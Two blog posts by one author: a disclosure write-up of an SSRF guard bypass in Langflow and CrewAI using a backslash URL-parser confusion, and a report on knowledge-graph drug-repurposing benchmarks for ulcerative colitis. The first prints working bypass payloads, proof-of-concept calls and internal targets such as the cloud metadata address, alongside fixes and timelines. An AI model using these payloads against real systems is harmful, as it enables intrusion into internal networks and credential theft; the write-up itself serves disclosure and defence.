DEV Community: Sushrut Hundikar

CVE-2026-19304: Bypassing SSRF Guards with Parser Confusion

Sushrut Hundikar — Sat, 05 Sep 2026 12:07:58 +0000

I found a security flaw in IBM's Langflow and CrewAI that lets attackers reach internal networks. I've been auditing AI agent frameworks. These tools let language models browse the web, run shell commands, call APIs. Big attack surface. I wanted to see how they handle URL fetching.

I pulled up CrewAI's source and found their SSRF guard. Standard setup: extract hostname with urlparse, check against a denylist, then fetch with requests. But requests uses urllib3 under the hood. Two different URL parsers touching the same input.

That's a code smell. If they disagree on edge cases, the guard checks one thing while the client connects to another.

I started fuzzing: unicode, null bytes, double encoding. Nothing. Then I tried special characters in the authority section. Backslash:

http://127.0.0.1:8080\@1.1.1.1/

Guard passed. Internal service responded.

One character. That's the entire exploit.

The guard parses this URL and sees 1.1.1.1. Public IP, looks safe. The HTTP client parses the same URL and connects to 127.0.0.1:8080. Private IP, not safe at all.

I checked Langflow next. Same code pattern: urlparse in the guard, requests for the fetch. Same payload worked immediately.

Two major frameworks: IBM's Langflow (CVE-2026-19304) and CrewAI (CVE pending). Different companies, different codebases, same mistake.

The Bug

Every Python SSRF guard I've audited does something like this:

from urllib.parse import urlparse

def validate_url(url):
    hostname = urlparse(url).hostname
    if is_private_ip(hostname):
        raise ValueError("blocked")
    requests.get(url)  # different parser runs here

Two parsers. One URL. They disagree on what it means.

Python's urlparse treats the backslash as a regular character. It reads 127.0.0.1:8080\ as a username and 1.1.1.1 as the actual host.

The HTTP library (urllib3) reads it differently. It extracts 127.0.0.1:8080 as the connection target.

>>> from urllib.parse import urlparse
>>> from urllib3.util import parse_url

>>> url = r"http://127.0.0.1:8080\@1.1.1.1/"

>>> urlparse(url).hostname
'1.1.1.1'

>>> parse_url(url).host
'127.0.0.1'

The guard approves a public IP. The client connects to localhost.

Tested across Python versions:

Python	Guard sees	Client connects to	Bypass works
3.11	1.1.1.1	127.0.0.1	✓
3.12	1.1.1.1	127.0.0.1	✓
3.13	1.1.1.1	127.0.0.1	✓

AI Agents Make This Worse

Traditional web apps fetch URLs in limited contexts: profile pictures, webhook callbacks. Small attack surface.

AI agent frameworks are built to fetch arbitrary URLs. That's the whole point. The agent researches topics, scrapes websites, calls external APIs. The SSRF guard is the only barrier between user input and your internal infrastructure.

When that guard fails, everything behind the firewall is fair game:

Target	What leaks
`169.254.169.254`	AWS credentials
Docker network	Internal APIs, sidecars
`localhost:9200`	Elasticsearch, Redis, databases
Admin panels	Grafana, Prometheus, internal tools

Getting Clean Paths

The basic bypass leaves a mangled path (/%5C@1.1.1.1/). Most services return 404.

Path traversal fixes that:

http://127.0.0.1:8080\@1.1.1.1/../admin/secrets

The requests library normalizes /../ before sending. The internal service receives a clean request:

GET /admin/secrets HTTP/1.1
Host: 127.0.0.1:8080

Arbitrary host. Arbitrary path. Full response body returned. Complete SSRF with data exfiltration.

Affected Frameworks

Langflow (CVE-2026-19304)

Backed by IBM. 152k GitHub stars. Listed in CISA's Known Exploited Vulnerabilities catalog.

The guard uses urlparse. The fetcher hands the same URL string to requests:

# lfx/utils/ssrf_protection.py
parsed = urlparse(url)
hostname = parsed.hostname
if is_ip_blocked(resolve(hostname)):
    raise SSRFProtectionError(...)

# lfx/utils/ssrf_requests.py
validate_url_for_ssrf(url)
requests.get(url)  # urllib3 re-parses

Vulnerable components: RSSReaderSimple, SearXNGToolComponent. Both ship enabled by default.

Proof:

# Blocked
rss_url = "http://172.19.0.3:9000/"
→ SSRFProtectionError

# Bypassed
rss_url = "http://172.19.0.3:9000\@1.1.1.1/../secret.rss"
→ 200 OK, response body returned

Access required: Any authenticated user with an API key. No admin privileges needed.

Severity: CVSS 7.7 High

Fix: PR #14430. Rejects backslash in URL authority. Fixed in Langflow 1.11.3.

CrewAI

Powers 65% of Fortune 500 AI deployments. 60k GitHub stars.

Same bug, same pattern:

# crewai_tools/security/safe_path.py
def validate_url(url):
    parsed = urlparse(url)
    for ip in socket.getaddrinfo(parsed.hostname, ...):
        if is_blocked_ip(ip):
            raise ValueError(...)
    return url  # urllib3 will re-parse this

Vulnerable component: ScrapeWebsiteTool

Proof:

from crewai_tools import ScrapeWebsiteTool

# Blocked
ScrapeWebsiteTool()._run("http://127.0.0.1:8080/secret")
# → ValueError: private IP

# Bypassed
ScrapeWebsiteTool()._run(r"http://127.0.0.1:8080\@1.1.1.1/../secret")
# → SECRET-CONTENT-HERE

Fix: PR #6981. Added SSRFProtectedAdapter that validates the peer IP at connect time. Fixed in crewai-tools 1.15.17.

CVE: Pending via GitHub Security Advisory.

How to Fix This

Three options. Any one works.

1. Block the ambiguous character

if '\\' in url or '%5c' in url.lower():
    raise ValueError("backslash not allowed in URL")

2. Use the same parser everywhere

from urllib3.util import parse_url

def validate_url(url):
    parsed = parse_url(url)  # same parser the client uses
    if is_private_ip(parsed.host):
        raise ValueError("blocked")

3. Validate at connect time

Check the resolved IP when the TCP connection actually opens. This is what CrewAI's fix does. Even if the URL parsing is fooled, the real connection gets blocked.

Timeline

Date	Langflow	CrewAI
Aug 1	Reported via HackerOne
Aug 2		Reported via Bugcrowd
Aug 5	Triaged
Aug 7	Fix merged (PR #14430)
Aug 15		Escalated to CERT/CC
Aug 17		Fix merged (PR #6981)
Aug 28		Vendor confirmed
Sep 2	CVE-2026-19304 assigned

Both vendors shipped fixes within two weeks of receiving the report.

Why This Keeps Happening

This bug class isn't new. Orange Tsai presented URL parser differentials at Black Hat 2017. Python's urlparse backslash behavior was reported in bpo-35748 and closed as "not our bug."

Nine years later, two major AI frameworks shipped the same vulnerability. Different teams, different companies, same mistake.

It keeps happening because:

from urllib.parse import urlparse looks like the right choice
Unit tests pass. Nobody thinks to test 127.0.0.1\@8.8.8.8
SSRF guard code gets copy-pasted between projects

If you maintain Python code that validates URLs: grep for urlparse, test with the backslash payload. You might have the same bug.

GitHub: sushrut1058
Blog: badcast.dev
Email: sushrut1058@gmail.com

I Trained Knowledge Graph Embeddings to Find a Cure for My Disease. The Model Found One That Causes It.

Sushrut Hundikar — Sat, 01 Aug 2026 02:35:30 +0000

I have ulcerative colitis. It's an autoimmune disease where your immune system attacks your colon. I manage it with medication, but the medication options aren't great; immunosuppressants with side effects you wouldn't wish on anyone. Some days are fine, while others aren't so great.

I'm not a biologist. I'm a software engineer. But there's this whole field of computational drug repurposing that promises something remarkable and frankly delusional: take a massive database of known biological relationships, train a machine learning model on the patterns, and it can predict which existing drugs might treat new diseases. The drugs are already approved for other conditions, so you skip years of safety testing. Papers get published. Startups get funded. Impressive-looking ranked lists of "novel drug candidates" get produced.

I decided to build one for UC. I realise that the decision of going through this whole exercise was ambitious but it wasn't to personally discover a treatment, but to find out whether the approach actually works. Whether "45% of known treatments recovered" is a meaningful statement about drug discovery or a meaningless statement about graph retrieval. What I found was more interesting than any drug prediction could have been.

The Setup

A knowledge graph stores facts as triples:

(Infliximab,    binds,            TNF-alpha)
(TNF-alpha,     associated_with,  Ulcerative Colitis)
(Azathioprine,  treats,           Ulcerative Colitis)

Millions of these (drugs, genes, proteins, pathways, diseases) linked into one enormous network.

I used DRKG (Drug Repurposing Knowledge Graph), compiled by Amazon and several universities from six curated biomedical databases:

Source	What it captures
DrugBank	Drug-target interactions
Hetionet	Disease-gene relationships
STRING	Protein-protein interactions
+ 3 others	Pathways, side effects, pharmacology

97,000 entities · 5.9M edges · 107 relationship types. Biomedical knowledge as it existed circa 2020.

Every entity becomes a vector in high-dimensional space. Train the model so known-true facts score high and random corruptions score low:

(Infliximab, binds, TNF-alpha)    → TRUE    → push score UP
(Infliximab, binds, Hemoglobin)   → FALSE   → push score DOWN

Repeat millions of times. The vectors shift until geometry encodes biology. Drugs treating similar diseases cluster together. The "treats" relationship becomes a learned geometric transformation. Score every drug against UC and you get a ranked list of candidates.

The experiment that makes this rigorous: remove all 108 known "drug treats ulcerative colitis" edges. Train on the remaining 5.9M edges. Ask: can the model recover those drugs using only indirect paths?

If infliximab (whose "treats UC" edge was removed) still ranks high because the model learned infliximab → TNF-alpha → inflammatory pathways → UC, then it has learned meaningful biological structure.

Three models (TransE, ComplEx, RotatE) trained on a P100 GPU, each with different geometric scoring functions. The metric: Hits@K, what fraction of held-out drugs land in the top K predictions?

The First Results Looked Great

Training embeddings on 5.9 million edges is slow and expensive, so I started with a smaller subgraph: 250,000 triples sampled via breadth-first search from UC and the holdout drugs. 128-dimensional embeddings, 30 epochs, basic negative sampling. Standard recipe. On that subgraph, RotatE recovered 45% of known UC treatments in the top 100 out of roughly 5,850 compounds. By any published standard, this is a strong result.

Drug	What it is	Rank (out of 5,850)
Cyclosporine	Immunosuppressant	#1
Infliximab	Anti-TNF biologic	#9
Prednisone	Corticosteroid	#54
Azathioprine	Immunosuppressant	#105
Methotrexate	Anti-inflammatory / chemo agent	#133

Real UC drugs, ranked near the top, without the model ever being told they treat UC. It felt like the system was working.

Then I trained on the full 5.9-million-edge graph, 23 times more data, with 256-dimensional embeddings. The results didn't improve. They collapsed.

Drug	Subgraph rank	Full graph rank
Cyclosporine	#1	#1,683
Infliximab	#9	#5,449
Prednisone	#54	#3,970
Azathioprine	#105	#4,863
Methotrexate	#133	#7,786

Hits@100 dropped from 45.4% to 2.8%. 105 of 108 held-out drugs degraded. "More data = better" is one of the most reliable heuristics in machine learning. When it fails this catastrophically, something structural is wrong. Either the subgraph numbers were inflated, or the full graph training was broken, or both. I spent some time finding out which.

The Honest Numbers

Both. Two problems, compounding each other.

First, the subgraph was sampled starting from the drugs I was trying to predict, which meant the graph was built around the answer. I redesigned it from scratch: start from the disease itself and take its biological neighborhood, every edge touching a direct neighbor of UC. No random cap, no circular seeding. The graph composition changed fundamentally.

Property	Original (flawed)	Redesigned
Sampling seed	108 holdout drugs + UC	UC disease nodes only
Drug-drug interaction edges	37.1%	0.7%
Gene-gene edges	27.0%	57.7%
Training triples	250,000 (randomly capped)	409,826 (natural size)

Second, the evaluation protocol itself was broken.

The entity map bug
The entity-to-embedding lookup table was built from training and holdout triples combined. So drugs whose only edge was "treats UC" still got an embedding vector even after that edge was removed. Zero training signal, randomly initialized, never updated. Three such drugs ranked in our top 7 by pure luck.

Fix: Rebuilt the entity map from training triples only. Evaluated only the 91 drugs reachable from UC through indirect paths.

Third, the training was undertrained. I upgraded the negative sampling strategy, embedding dimensions, and epoch count: the specifics are in the table below. Then retrained on both graphs.

	Original runs	Redesigned runs
Embedding dim	128 (subgraph) / 256 (full)	128 (subgraph) / 400 (full)
Epochs	30	50
Negatives per positive	1 (uniform)	256 (NSSA)
Evaluation	All 108 holdout drugs	91 reachable only

Results:

Configuration	Training triples	Hits@100
Original subgraph	250,000	45.4%
Full DRKG (original training)	5,874,125	2.8%
Redesigned subgraph (rebuilt)	409,826	12.1%
Full DRKG (rebuilt)	5,874,125	17.6%

The first two rows used the same protocol: biased subgraph sampling, basic negative sampling, and the entity map bug. The subgraph looked great, the full graph collapsed. The bottom two rows fixed all three problems. The 45% was an artifact of biased sampling and a graph dominated by drug-drug interaction edges that clustered compounds by pharmacological class rather than therapeutic relevance. The full graph's jump from 2.8% to 17.6% came from better training, harder negatives, and honest evaluation combined.

When I examined which drugs the model learned, the pattern was stark:

Drug connectivity	# drugs	Hits@100	Interpretation
High (51+ training edges)	8	62.5%	Model learned these
Medium (11-50 edges)	38	13.2%	Weak signal
Low (1-10 edges)	45	2.2%	Essentially random

Dexamethasone, a corticosteroid used to suppress inflammation, has 120 edges connecting it to dozens of UC-relevant genes. It ranked #11. The model had rich context to work with: a well-studied drug connected through multiple pathways to UC's gene network. Theobromine, the stimulant in chocolate with a single edge in the graph, ranked #5,611. The model cannot learn a useful embedding from one data point.

If the model is really just ranking by connectivity, that should be measurable. So I checked how well a drug's number of training edges predicts its rank:

Spearman rank correlation

Spearman(drug_degree, predicted_rank) = -0.74

Where drug_degree = number of training edges, predicted_rank = model's ranking for UC.

Scale: -1.0 = ranks purely by connectivity, 0.0 = degree has no influence.

Not by learned biological insight. By connectivity.

This might seem like a model failure. Maybe better hyperparameters would learn deeper patterns. But connectivity isn't a confound to be removed. It IS the signal.

The Core Finding: Epistemological Circularity

The model ranks by connectivity because the graph already encodes the answer.

Consider the held-out drugs, the ones whose "treats UC" edges I removed.

Key finding

Holdout drugs share an average of 11.3 gene neighbors with UC. All other compounds: 0.6. That's a 19x gap, and it exists before any model touches the data.

The graph already separates known UC drugs from everything else through indirect structure alone.

Why? Because drugs that treat UC have been extensively studied in the context of UC. Every study produces edges: drug targets this gene, this gene is associated with UC, this pathway is relevant to inflammation. The more a drug has been researched for UC, the more indirect connections it accumulates in the graph. High connectivity isn't an independent feature; it's a direct consequence of being a known UC treatment.

Here's the causal chain, using infliximab (an anti-TNF biologic I actually take for UC) as a concrete example:

What actually happened

Clinical trials in the 1990s-2000s → clinicians discover infliximab treats UC → researchers study why it works → infliximab binds TNF-alpha (published) → TNF-alpha linked to UC (published) → all of this enters DRKG as separate edges.

What I asked the model to do

Drug Relationship Target

~~infliximab~~ ~~treats~~ UC

infliximab binds TNF-alpha

TNF-alpha associated_with UC

Model "discovers": infliximab should treat UC. The path only exists because clinicians already discovered the treatment.

Drug	Relationship	Target
~~infliximab~~	~~treats~~	UC
infliximab	binds	TNF-alpha
TNF-alpha	associated_with	UC

This isn't data leakage in the ML sense. I correctly removed the target edges. The holdout is technically clean. It's a deeper problem: epistemological circularity. Epistemology is how we know what we know, and the circularity here is that the evidence we're using to "predict" the answer was only generated because someone already knew the answer. The features used for prediction were placed in the graph by the same human research process that established the answer. The Drug → Gene and Gene → Disease edges are consequences of the Drug → Disease relationship I'm trying to "predict."

Every structure-aware method picks up this signal because it's baked into the graph topology. To confirm, I ran Personalized PageRank, a textbook graph algorithm that reads graph proximity with zero learning. Two minutes on my Mac.

Method	Training time	Hits@100
RotatE (400d, NSSA, P100 GPU)	~8 hours	17.6%
Personalized PageRank	~2 minutes	34.1%

A method with no training, no embeddings, no GPU doubles the best embedding model. It just reads the structure that's already there.

Holdout evaluation on curated knowledge graphs measures retrieval efficiency, not discovery potential. High Hits@K tells you your method can read what's already in the graph. It does not tell you it can find anything new.

This Isn't Just a Bio Problem

The same circularity appears wherever knowledge graphs meet prediction tasks, including in deployed production systems.

The most celebrated success story in KG drug repurposing illustrates it perfectly. In February 2020, days after the WHO declared COVID-19 a public health emergency, BenevolentAI published a prediction in The Lancet: baricitinib, a JAK inhibitor approved for rheumatoid arthritis, could treat COVID-19 by blocking viral entry through AAK1 inhibition. They identified it in 48 hours using their biomedical knowledge graph. The drug received FDA emergency authorization in November 2020 and full approval in 2022. It works. Patients are alive because of this prediction.

But every edge in their reasoning chain was already in published literature:

Edge	Published
Baricitinib binds AAK1	2016, Sorrell et al., Structure
AAK1 role in viral endocytosis	2017, Bekerman et al., J. Clinical Investigation
Coronaviruses use endocytic entry	Established virology textbook knowledge

Derek Lowe, the medicinal chemist who writes for Science/AAAS, called it "more a testimony to good literature searching and curation" than a triumph of artificial intelligence. Timothy Cernak at Michigan said most medicinal chemists could have identified the molecule using traditional database searches. The KG's genuine contribution was speed (systematic retrieval under extreme time pressure), not discovery of a connection hidden from human experts.

Not just bio

Amazon found the same circularity in product recommendations. When they built a commonsense knowledge graph (COSMO), 91% of the reasoning their system generated was circular or tautological, explaining that products are related "because customers buy them together," which is the input fact, not an explanation. They built an entire multi-stage filtering pipeline to strip it out.

The pattern generalizes. If the same human research process that created your labels also shaped your features, your benchmark measures memory, not prediction. This applies to any task built on curated knowledge bases, any holdout evaluation where the test items are well-studied, any link prediction on a graph assembled by domain experts. It does not apply where labels are naturally generated (user clicks, sensor readings) or where features are genuinely independent of the labeling process.

What Would Real Discovery Look Like?

Three approaches would address the circularity:

Temporal holdout. Train on knowledge available before year X. Predict treatments approved after year X. If the model identifies drugs from post-X research using only pre-X graph structure, it's genuinely discovering something that wasn't already encoded. DRKG doesn't provide edge timestamps, but versioned knowledge graphs could be constructed from dated database releases and publication records. This is the cleanest experimental design because it mirrors what real drug discovery requires: predicting the future from the past.

Novel-target evaluation. Evaluate only on drugs with zero existing graph connection to the target disease. No shared genes, no pathway overlap, no indirect paths. If a model predicts such a drug and it turns out to work, that's prediction in the truest sense. Current benchmarks never test this because every structure-aware method scores disconnected drugs randomly. But that's precisely the frontier where computational methods could add value that humans can't.

External prospective validation. Score novel candidates and check against ClinicalTrials.gov for active trials the model wasn't told about.

What happened when I tried this
I ran my model's top 100 novel predictions through a clinical plausibility review. 59 of them were oncology drugs. A sample of what ranked in the top 50:

Irinotecan (rank 23): a chemotherapy agent that appears in IBD clinical guidelines as a drug to watch for causing intestinal damage, not one for treating it.
Hydroxyurea (rank 46): documented in case literature as a cause of intestinal injury that resolves when the drug is stopped.
Indomethacin (rank 16): an NSAID. IBD patients are told to avoid this drug class because it tends to worsen the disease.

The model has no mechanism to distinguish "this drug is connected to UC inflammation research" from "this drug would help someone with UC." Those look identical in the graph.

When I ran my model's top novel predictions through a clinical plausibility review, 51 of the first 100 were flatly implausible. Not "probably not useful": actively contraindicated. Drugs that damage the gut. Drugs that worsen the disease. Mitomycin C at rank 14, a compound used in laboratory experiments to induce the condition I was trying to treat. Zero of 100 received a high plausibility rating.

The honest answer to "does this work" is: it works at something. Retrieving drugs already connected to UC in the graph: yes. Finding treatments that aren't already encoded in the data: no demonstrated evidence. Those are different tasks. For the first task, you don't need a trained embedding. PageRank does it better in two minutes. For the second task, you need a different benchmark entirely.

What that benchmark looks like is the more interesting question. I don't have the answer yet, but for the first time, I have the right question. That's probably the right outcome for a software engineer with a disease who decided to go poking around in biomedical ML.

sushrut1058 / knowledge-graph-circularity

Holdout evaluation for biomedical KG embeddings on DRKG — RotatE, degree-stratified Hits@K, and PageRank baselines exposing circularity in drug-repurposing benchmarks.

Epistemological circularity in KG drug repurposing

Code and result tables for holdout evaluation of knowledge-graph embeddings ranking ulcerative colitis treatments on DRKG.

On DRKG, Personalized PageRank beat full-graph RotatE (Hits@100 34.1% vs 17.6%). Holdout Hits@K on a curated biomedical graph mostly measures retrieval of research-shaped connectivity, not discovery.

This repo is small on purpose (~280 KB checked in). No model weights. No DRKG dump — just the code, configs, and metric/ranking tables for the reported numbers.

Results → files

Claim	File
Original subgraph RotatE · 45.4% Hits@100	`results/original_subgraph_rotate.json`
Original full DRKG RotatE · 2.8%	`results/original_full_drkg_rotate.json`
Redesigned subgraph RotatE · 12.1%	`results/redesigned_subgraph_rotate.json`
Full DRKG RotatE (rebuilt) · 17.6%	`results/full_drkg_rotate.json`
That run’s training card (~8.1 h, dim 400, 50 ep)	`results/full_drkg_rotate_run.json`
Personalized PageRank · 34.1%	`results/personalized_pagerank.json`
91 reachable / 17 unreachable freeze	`results/holdout_metadata.json`, `configs/holdout_reachability.json`
Redesigned subgraph composition (0.7% drug–drug, …)	`results/redesigned_subgraph_composition.json`
Holdout rank lists	`results/rankings/*_holdouts.tsv`
Top-20 novel predictions (ClinicalTrials check)

…

View on GitHub

Contact: GitHub · LinkedIn · sushrut@badcast.dev

Originally published on badcast.dev.